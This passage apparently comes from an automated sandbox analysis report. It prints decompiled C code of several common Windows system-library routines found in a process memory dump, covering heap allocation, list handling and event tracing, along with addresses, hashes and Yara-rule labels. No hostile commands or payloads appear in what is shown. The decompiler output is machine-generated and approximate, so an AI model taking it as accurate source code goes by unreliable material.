					_t56 = _t23;
					if(_t56 != 0) {
						_t56[0x24] = _a4;
						_t56[0x28] = _a8;
						_t56[6] = 0x1420;
						_t56[0x20] = _v12;
						_t14 =  &(_t56[0x2c]); // 0x2c
						E02D6F3E0(_t14, _v8[2],  *_v8 & 0x0000ffff);
						_t56[0x2c + (( *_v8 & 0x0000ffff) >> 1) * 2] = 0;
						if(E02D47D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_push(_t56);
						_push(_t47 - 0x20);
						_push(0x402);
						_push( *_t58 & 0x000000ff);
						E02D69AE0();
						_t23 = L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t56);
					}
				}
				return _t23;
			}

0x02da6c0a
0x02da6c0f
0x02da6c10
0x02da6c13
0x02da6c15
0x02da6c19
0x02da6c1c
0x02da6c21
0x02da6c28
0x02da6c3a
0x02da6c2a
0x02da6c33
0x02da6c33
0x02da6c3f
0x02da6c48
0x02da6c4d
0x02da6c60
0x02da6c65
0x02da6c69
0x02da6c73
0x02da6c79
0x02da6c7f
0x02da6c86
0x02da6c90
0x02da6c94
0x02da6ca6
0x02da6cb2
0x02da6cbd
0x02da6cbd
0x02da6cc3
0x02da6cc7
0x02da6ccb
0x02da6cd0
0x02da6cd1
0x02da6ce2
0x02da6ce2
0x02da6c69
0x02da6ced

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cdf3ec829155fe8af79a20d82b17cb7cbcf817c935b8881e0f1e162fe0e6e40
Instruction ID: ec50338b13b6b3b33c892aa9c0c481e192c6f4bf6470a542775e93ba306d69e7
Opcode Fuzzy Hash: 1cdf3ec829155fe8af79a20d82b17cb7cbcf817c935b8881e0f1e162fe0e6e40
Instruction Fuzzy Hash: 62219AB1A00644EFDB11DF68D890E6AB7A8FF48704F080069F905C7790DB38ED50CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02D690AF, Relevance: .1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E02D690AF(intOrPtr __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr* _v0;
				void* _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v36;
				void* _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t45;
				intOrPtr* _t49;
				signed int _t57;
				signed int _t58;
				intOrPtr* _t59;
				void* _t62;
				void* _t63;
				void* _t65;
				void* _t66;
				signed int _t69;
				intOrPtr* _t70;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr* _t73;
				char _t74;

				_t65 = __edx;
				_t57 = _a4;
				_t32 = __ecx;
				_v8 = __edx;
				_t3 = _t32 + 0x14c; // 0x14c
				_t70 = _t3;
				_v16 = __ecx;
				_t72 =  *_t70;
				while(_t72 != _t70) {
					if( *((intOrPtr*)(_t72 + 0xc)) != _t57) {
						L24:
						_t72 =  *_t72;
						continue;
					}
					_t30 = _t72 + 0x10; // 0x10
					if(E02D7D4F0(_t30, _t65, _t57) == _t57) {
						return 0xb7;
					}
					_t65 = _v8;
					goto L24;
				}
				_t61 = _t57;
				_push( &_v12);
				_t66 = 0x10;
				if(E02D5E5E0(_t57, _t66) < 0) {
					return 0x216;
				}
				_t73 = L02D44620(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v12);
				if(_t73 == 0) {
					_t38 = 0xe;
					return _t38;
				}
				_t9 = _t73 + 0x10; // 0x10
				 *((intOrPtr*)(_t73 + 0xc)) = _t57;
				E02D6F3E0(_t9, _v8, _t57);
				_t41 =  *_t70;
				if( *((intOrPtr*)(_t41 + 4)) != _t70) {
					_t62 = 3;
					asm("int 0x29");
					_push(_t62);
					_push(_t57);
					_push(_t73);
					_push(_t70);
					_t71 = _t62;
					_t74 = 0;
					_v36 = 0;
					_t63 = E02D5A2F0(_t62, _t71, 1, 6,  &_v36);
					if(_t63 == 0) {
						L20:
						_t44 = 0x57;
						return _t44;
					}
					_t45 = _v12;
					_t58 = 0x1c;
					if(_t45 < _t58) {
						goto L20;
					}
					_t69 = _t45 / _t58;
					if(_t69 == 0) {
						L19:
						return 0xe8;
					}
					_t59 = _v0;
					do {
						if( *((intOrPtr*)(_t63 + 0xc)) != 2) {
							goto L18;
						}
						_t49 =  *((intOrPtr*)(_t63 + 0x14)) + _t71;
						 *_t59 = _t49;
						if( *_t49 != 0x53445352) {
							goto L18;
						}
						 *_a4 =  *((intOrPtr*)(_t63 + 0x10));
						return 0;
						L18:
						_t63 = _t63 + 0x1c;
						_t74 = _t74 + 1;
					} while (_t74 < _t69);
					goto L19;
				}
				 *_t73 = _t41;
				 *((intOrPtr*)(_t73 + 4)) = _t70;
				 *((intOrPtr*)(_t41 + 4)) = _t73;
				 *_t70 = _t73;
				 *(_v16 + 0xdc) =  *(_v16 + 0xdc) | 0x00000010;
				return 0;
			}

0x02d690af
0x02d690b8
0x02d690bb
0x02d690bf
0x02d690c2
0x02d690c2
0x02d690c8
0x02d690cb
0x02d690cd
0x02da14d7
0x02da14eb
0x02da14eb
0x00000000
0x02da14eb
0x02da14db
0x02da14e6
0x00000000
0x02da14f2
0x02da14e8
0x00000000
0x02da14e8
0x02d690d8
0x02d690da
0x02d690dd
0x02d690e5
0x00000000
0x02d69139
0x02d690fa
0x02d690fe
0x02d69142
0x00000000
0x02d69142
0x02d69104
0x02d69107
0x02d6910b
0x02d69110
0x02d69118
0x02d69147
0x02d69148
0x02d6914f
0x02d69150
0x02d69151
0x02d69152
0x02d69156
0x02d6915d
0x02d69160
0x02d69168
0x02d6916c
0x02d691bc
0x02d691be
0x00000000
0x02d691be
0x02d6916e
0x02d69173
0x02d69176
0x00000000
0x00000000
0x02d6917c
0x02d69180
0x02d691b5
0x00000000
0x02d691b5
0x02d69182
0x02d69185
0x02d69189
0x00000000
0x00000000
0x02d6918e
0x02d69190
0x02d69198
0x00000000
0x00000000
0x02d691a0
0x00000000
0x02d691ad
0x02d691ad
0x02d691b0
0x02d691b1
0x00000000
0x02d69185
0x02d6911a
0x02d6911c
0x02d6911f
0x02d69125
0x02d69127
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction ID: 32fc9687ac77e6e9c34c02261702e05db49ea4145cdb6d1da39435200ca7494e
Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction Fuzzy Hash: 68215E71A00604EFDB20DF59C958EAAF7F8EF44754F24886AE989A7350D774ED40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02D53B7A, Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E02D53B7A(void* __ecx) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				intOrPtr _t17;
				intOrPtr _t26;
				void* _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;

				_t17 =  *0x2e184c4; // 0x0
				_v12 = 1;
				_v8 =  *0x2e184c0 * 0x4c;
				_t41 = __ecx;
				_t35 = L02D44620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t17 + 0x000c0000 | 0x00000008,  *0x2e184c0 * 0x4c);
				if(_t35 == 0) {
					_t44 = 0xc0000017;
				} else {
					_push( &_v8);
					_push(_v8);
					_push(_t35);
					_push(4);
					_push( &_v12);
					_push(0x6b);
					_t44 = E02D6AA90();
					_v20 = _t44;
					if(_t44 >= 0) {
						E02D6FA60( *((intOrPtr*)(_t41 + 0x20)), 0,  *0x2e184c0 * 0xc);
						_t38 = _t35;
						if(_t35 < _v8 + _t35) {
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
							} while (_t38 < _v8 + _t35);
							_t44 = _v20;
						}
					}
					_t26 =  *0x2e184c4; // 0x0
					L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t26 + 0xc0000, _t35);
				}
				return _t44;
			}

0x02d53b89
0x02d53b96
0x02d53ba1
0x02d53bab
0x02d53bb5
0x02d53bb9
0x02d96298
0x02d53bbf
0x02d53bc2
0x02d53bc3
0x02d53bc9
0x02d53bca
0x02d53bcc
0x02d53bcd
0x02d53bd4
0x02d53bd6
0x02d53bdb
0x02d53bea
0x02d53bf7
0x02d53bfb
0x02d53bff
0x02d53c09
0x02d53c0a
0x02d53c0b
0x02d53c0f
0x02d53c14
0x02d53c18
0x02d53c18
0x02d53bfb
0x02d53c1b
0x02d53c30
0x02d53c30
0x02d53c3d

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66edb0534073310fefc0547881fa9d695469ebd865175b394296317b8435794d
Instruction ID: 7aa947a10344b934cee50a49c437dc8031a7cd49d2797455d52c4f657017431c
Opcode Fuzzy Hash: 66edb0534073310fefc0547881fa9d695469ebd865175b394296317b8435794d
Instruction Fuzzy Hash: 1F21CF72A40118AFDB00DF58CD81F6AB7BDFB40348F1504A8E908AB351C771ED51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02DA6CF0, Relevance: .1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E02DA6CF0(void* __edx, intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char* _t21;
				void* _t24;
				void* _t36;
				void* _t38;
				void* _t46;

				_push(_t36);
				_t46 = __edx;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if(E02D47D50() == 0) {
					_t21 = 0x7ffe0384;
				} else {
					_t21 = ( *[fs:0x30])[0x50] + 0x22a;
				}
				if( *_t21 != 0) {
					_t21 =  *[fs:0x30];
					if((_t21[0x240] & 0x00000004) != 0) {
						if(E02D47D50() == 0) {
							_t21 = 0x7ffe0385;
						} else {
							_t21 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t21 & 0x00000020) != 0) {
							_t56 = _t46;
							if(_t46 == 0) {
								_t46 = 0x2d05c80;
							}
							_push(_t46);
							_push( &_v12);
							_t24 = E02D5F6E0(_t36, 0, _t46, _t56);
							_push(_a4);
							_t38 = _t24;
							_push( &_v28);
							_t21 = E02D5F6E0(_t38, 0, _t46, _t56);
							if(_t38 != 0) {
								if(_t21 != 0) {
									E02DA7016(_a8, 0, 0, 0,  &_v36,  &_v28);
									L02D42400( &_v52);
								}
								_t21 = L02D42400( &_v28);
							}
						}
					}
				}
				return _t21;
			}

0x02da6cfb
0x02da6d00
0x02da6d02
0x02da6d06
0x02da6d0a
0x02da6d0e
0x02da6d19
0x02da6d2b
0x02da6d1b
0x02da6d24
0x02da6d24
0x02da6d33
0x02da6d39
0x02da6d46
0x02da6d4f
0x02da6d61
0x02da6d51
0x02da6d5a
0x02da6d5a
0x02da6d69
0x02da6d6b
0x02da6d6d
0x02da6d6f
0x02da6d6f
0x02da6d74
0x02da6d79
0x02da6d7a
0x02da6d7f
0x02da6d82
0x02da6d88
0x02da6d89
0x02da6d90
0x02da6d94
0x02da6da7
0x02da6db1
0x02da6db1
0x02da6dbb
0x02da6dbb
0x02da6d90
0x02da6d69
0x02da6d46
0x02da6dc6

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0c030795b3fc919137902085e9c8921560f09dfbc7e13a2ef99fa895aa0d772
Instruction ID: 4e3a8e0481ecdbcc711867ef0a24cf3563929d646deb352da8617c277e2752ab
Opcode Fuzzy Hash: f0c030795b3fc919137902085e9c8921560f09dfbc7e13a2ef99fa895aa0d772
Instruction Fuzzy Hash: 6B219D725042449BDB11EF2AC954F6BB7ECEF81784F080956B950873A1EB24DD09CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 02DF070D, Relevance: .1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E02DF070D(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				char _v8;
				intOrPtr _v11;
				signed int _v12;
				intOrPtr _v15;
				signed int _v16;
				intOrPtr _v28;
				void* __ebx;
				char* _t32;
				signed int* _t38;
				signed int _t60;

				_t38 = __ecx;
				_v16 = __edx;
				_t60 = E02DF07DF(__ecx, __edx,  &_a4,  &_a8, 2);
				if(_t60 != 0) {
					_t7 = _t38 + 0x38; // 0x29cd5903
					_push( *_t7);
					_t9 = _t38 + 0x34; // 0x6adeeb00
					_push( *_t9);
					_v12 = _a8 << 0xc;
					_t11 = _t38 + 4; // 0x5de58b5b
					_push(0x4000);
					_v8 = (_a4 << 0xc) + (_v16 - ( *__ecx & _v16) >> 4 <<  *_t11) + ( *__ecx & _v16);
					E02DEAFDE( &_v8,  &_v12);
					E02DF1293(_t38, _v28, _t60);
					if(E02D47D50() == 0) {
						_t32 = 0x7ffe0380;
					} else {
						_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						_t21 = _t38 + 0x3c; // 0xc3595e5f
						E02DE14FB(_t38,  *_t21, _v11, _v15, 0xd);
					}
				}
				return  ~_t60;
			}

0x02df071b
0x02df0724
0x02df0734
0x02df0738
0x02df074b
0x02df074b
0x02df0753
0x02df0753
0x02df0759
0x02df075d
0x02df0774
0x02df0779
0x02df077d
0x02df0789
0x02df0795
0x02df07a7
0x02df0797
0x02df07a0
0x02df07a0
0x02df07af
0x02df07c4
0x02df07cd
0x02df07cd
0x02df07af
0x02df07dc

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction ID: 0c7985bc338ed20f6ccb996f09925f6d8a2d8cf7a6d352aadd89336d3bca4363
Opcode Fuzzy Hash: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction Fuzzy Hash: 9D2126363042009FD715DF18C880B6ABBA6FFC4350F048569FA958B396DB30DD09CB95

Uniqueness

Uniqueness Score: -1.00%

Function 02D4AE73, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E02D4AE73(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				void* _t19;
				char* _t22;
				signed char* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				void* _t31;
				intOrPtr _t36;
				char* _t38;
				signed char* _t42;

				_push(__ecx);
				_t31 = __edx;
				_v8 = __ecx;
				_t19 = E02D47D50();
				_t38 = 0x7ffe0384;
				if(_t19 != 0) {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t22 = 0x7ffe0384;
				}
				_t42 = 0x7ffe0385;
				if( *_t22 != 0) {
					if(E02D47D50() == 0) {
						_t24 = 0x7ffe0385;
					} else {
						_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t24 & 0x00000010) != 0) {
						goto L17;
					} else {
						goto L3;
					}
				} else {
					L3:
					_t27 = E02D47D50();
					if(_t27 != 0) {
						_t27 =  *[fs:0x30];
						_t38 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22a;
					}
					if( *_t38 != 0) {
						_t27 =  *[fs:0x30];
						if(( *(_t27 + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						_t27 = E02D47D50();
						if(_t27 != 0) {
							_t27 =  *[fs:0x30];
							_t42 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22b;
						}
						if(( *_t42 & 0x00000020) != 0) {
							L17:
							_t25 = _v8;
							_t36 = 0;
							if(_t25 != 0) {
								_t36 =  *((intOrPtr*)(_t25 + 0x18));
							}
							_t27 = E02DA7794( *((intOrPtr*)(_t31 + 0x18)), _t36,  *((intOrPtr*)(_t31 + 0x94)),  *(_t31 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_t31 + 0x28)));
						}
						goto L5;
					} else {
						L5:
						return _t27;
					}
				}
			}

0x02d4ae78
0x02d4ae7c
0x02d4ae7e
0x02d4ae81
0x02d4ae86
0x02d4ae8d
0x02d92691
0x02d4ae93
0x02d4ae93
0x02d4ae93
0x02d4ae98
0x02d4ae9d
0x02d926a2
0x02d926b4
0x02d926a4
0x02d926ad
0x02d926ad
0x02d926b9
0x00000000
0x02d926bb
0x00000000
0x02d926bb
0x02d4aea3
0x02d4aea3
0x02d4aea3
0x02d4aeaa
0x02d926c0
0x02d926c9
0x02d926c9
0x02d4aeb3
0x02d926d4
0x02d926e1
0x00000000
0x00000000
0x02d926e7
0x02d926ee
0x02d926f0
0x02d926f9
0x02d926f9
0x02d92702
0x02d92708
0x02d92708
0x02d9270b
0x02d9270f
0x02d92711
0x02d92711
0x02d92725
0x02d92725
0x00000000
0x02d4aeb9
0x02d4aeb9
0x02d4aebf
0x02d4aebf
0x02d4aeb3

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction ID: f1a3849e34817e60abea47497e72ba22ed301d64942d156842cc41f8f4c5f55a
Opcode Fuzzy Hash: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction Fuzzy Hash: 2021F371701680EFEB26DB28C958B2577E9EF44344F0900B1ED448BBA2EB74DC40CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02DA7794, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E02DA7794(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, unsigned int _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t21;
				void* _t24;
				intOrPtr _t25;
				void* _t36;
				short _t39;
				signed char* _t42;
				unsigned int _t46;
				void* _t50;

				_push(__ecx);
				_push(__ecx);
				_t21 =  *0x2e17b9c; // 0x0
				_t46 = _a8;
				_v12 = __edx;
				_v8 = __ecx;
				_t4 = _t46 + 0x2e; // 0x2e
				_t36 = _t4;
				_t24 = L02D44620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t21 + 0x180000, _t36);
				_t50 = _t24;
				if(_t50 != 0) {
					_t25 = _a4;
					if(_t25 == 5) {
						L3:
						_t39 = 0x14b1;
					} else {
						_t39 = 0x14b0;
						if(_t25 == 6) {
							goto L3;
						}
					}
					 *((short*)(_t50 + 6)) = _t39;
					 *((intOrPtr*)(_t50 + 0x28)) = _t25;
					_t11 = _t50 + 0x2c; // 0x2c
					 *((intOrPtr*)(_t50 + 0x20)) = _v8;
					 *((intOrPtr*)(_t50 + 0x24)) = _v12;
					E02D6F3E0(_t11, _a12, _t46);
					 *((short*)(_t50 + 0x2c + (_t46 >> 1) * 2)) = 0;
					if(E02D47D50() == 0) {
						_t42 = 0x7ffe0384;
					} else {
						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t50);
					_t19 = _t36 - 0x20; // 0xe
					_push(0x403);
					_push( *_t42 & 0x000000ff);
					E02D69AE0();
					_t24 = L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t50);
				}
				return _t24;
			}

0x02da7799
0x02da779a
0x02da779b
0x02da77a3
0x02da77ab
0x02da77ae
0x02da77b1
0x02da77b1
0x02da77bf
0x02da77c4
0x02da77c8
0x02da77ce
0x02da77d4
0x02da77e0
0x02da77e0
0x02da77d6
0x02da77d6
0x02da77de
0x00000000
0x00000000
0x02da77de
0x02da77e5
0x02da77f0
0x02da77f3
0x02da77f6
0x02da77fd
0x02da7800
0x02da780c
0x02da7818
0x02da782b
0x02da781a
0x02da7823
0x02da7823
0x02da7830
0x02da7831
0x02da7838
0x02da783d
0x02da783e
0x02da784f
0x02da784f
0x02da785a

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1dd7e47169f62e4c3368b46e44fd17c70e13fa13e0333659b72ba99fdeccf8c
Instruction ID: 932b459bd0ddf502e05b0a905a903cc331f7e1d84fbfdf24646d6dd53bff5847
Opcode Fuzzy Hash: e1dd7e47169f62e4c3368b46e44fd17c70e13fa13e0333659b72ba99fdeccf8c
Instruction Fuzzy Hash: EB21AE72900604AFD725DF69D890EABB7A9EF48740F10056DF50AC7750DB34ED00CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02D5FD9B, Relevance: .1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E02D5FD9B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t19;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t40;

				_t35 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t37 = 0;
				_v8 = __edx;
				_t29 = __ecx;
				if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) != 0) {
					_t40 =  *((intOrPtr*)( *[fs:0x18] + 0xfbc));
					L3:
					_t19 = _a4 - 4;
					if(_t19 != 0) {
						if(_t19 != 1) {
							L7:
							return _t37;
						}
						if(_t35 == 0) {
							L11:
							_t37 = 0xc000000d;
							goto L7;
						}
						if( *((intOrPtr*)(_t40 + 4)) != _t37) {
							L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37,  *((intOrPtr*)(_t40 + 4)));
							_t35 = _v8;
						}
						 *((intOrPtr*)(_t40 + 4)) = _t35;
						goto L7;
					}
					if(_t29 == 0) {
						goto L11;
					}
					_t32 =  *_t40;
					if(_t32 != 0) {
						 *((intOrPtr*)(_t29 + 0x20)) =  *((intOrPtr*)(_t32 + 0x20));
						E02D376E2( *_t40);
					}
					 *_t40 = _t29;
					goto L7;
				}
				_t40 = L02D44620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 8);
				if(_t40 == 0) {
					_t37 = 0xc0000017;
					goto L7;
				}
				_t35 = _v8;
				 *_t40 = 0;
				 *((intOrPtr*)(_t40 + 4)) = 0;
				 *((intOrPtr*)( *[fs:0x18] + 0xfbc)) = _t40;
				goto L3;
			}

0x02d5fd9b
0x02d5fda0
0x02d5fda1
0x02d5fdab
0x02d5fdad
0x02d5fdb0
0x02d5fdb8
0x02d5fe0f
0x02d5fde6
0x02d5fde9
0x02d5fdec
0x02d9c0c0
0x02d5fdfe
0x02d5fe06
0x02d5fe06
0x02d9c0c8
0x02d5fe2d
0x02d5fe2d
0x00000000
0x02d5fe2d
0x02d9c0d1
0x02d9c0e0
0x02d9c0e5
0x02d9c0e5
0x02d9c0e8
0x00000000
0x02d9c0e8
0x02d5fdf4
0x00000000
0x00000000
0x02d5fdf6
0x02d5fdfa
0x02d5fe1a
0x02d5fe1f
0x02d5fe1f
0x02d5fdfc
0x00000000
0x02d5fdfc
0x02d5fdcc
0x02d5fdd0
0x02d5fe26
0x00000000
0x02d5fe26
0x02d5fdd8
0x02d5fddb
0x02d5fddd
0x02d5fde0
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction ID: 1b0ca4e8e9a59aad629c8c9a914db4d926ba828944eb4bbd633fb42c49ed9b90
Opcode Fuzzy Hash: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction Fuzzy Hash: BE217972600A50DFDB31CF09C640E66F7E5EB95B10F24856EE9898BB10E770EC00CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02D29240, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E02D29240(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t50;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x2dff708);
				E02D7D08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E02D695D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E02D695D0();
				_t33 =  *0x2e184c4; // 0x0
				L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t33 + 0xc0000,  *((intOrPtr*)(_t65 + 0x10)));
				_t37 =  *0x2e184c4; // 0x0
				L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37 + 0xc0000,  *((intOrPtr*)(_t65 + 0x1c)));
				_t41 =  *0x2e184c4; // 0x0
				E02D42280(L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t41 + 0xc0000,  *((intOrPtr*)(_t65 + 0x20))), 0x2e186b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_t23 = _t66 + 0x14; // 0x8df8084c
					_push( *_t23);
					E02D695D0();
					_t24 = _t66 + 0x10; // 0x89e04d8b
					_push( *_t24);
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E02D695D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E02D29325();
					_t50 =  *0x2e184c4; // 0x0
					return E02D7D0D1(L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50 + 0xc0000, _t65));
				}
			}

0x02d29240
0x02d29242
0x02d29247
0x02d2924c
0x02d2924e
0x02d29255
0x02d29257
0x02d2925a
0x02d2925f
0x02d2925f
0x02d29266
0x02d29271
0x02d29276
0x02d29279
0x02d2927e
0x02d29295
0x02d2929a
0x02d292b1
0x02d292b6
0x02d292d7
0x02d292dc
0x02d292e0
0x02d292e6
0x02d292e8
0x02d292ee
0x02d29332
0x02d29333
0x02d29337
0x02d29338
0x02d2933a
0x02d2933a
0x02d2933d
0x02d29342
0x02d29342
0x02d29345
0x02d29349
0x02d2934e
0x02d29352
0x02d29357
0x02d292f4
0x02d292f4
0x02d292f6
0x02d292f9
0x02d29300
0x02d29306
0x02d29324
0x02d29324

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 09086973c69be444ee77d07d4c6a3295e93f884b8691a8f62469f2e82f3a017e
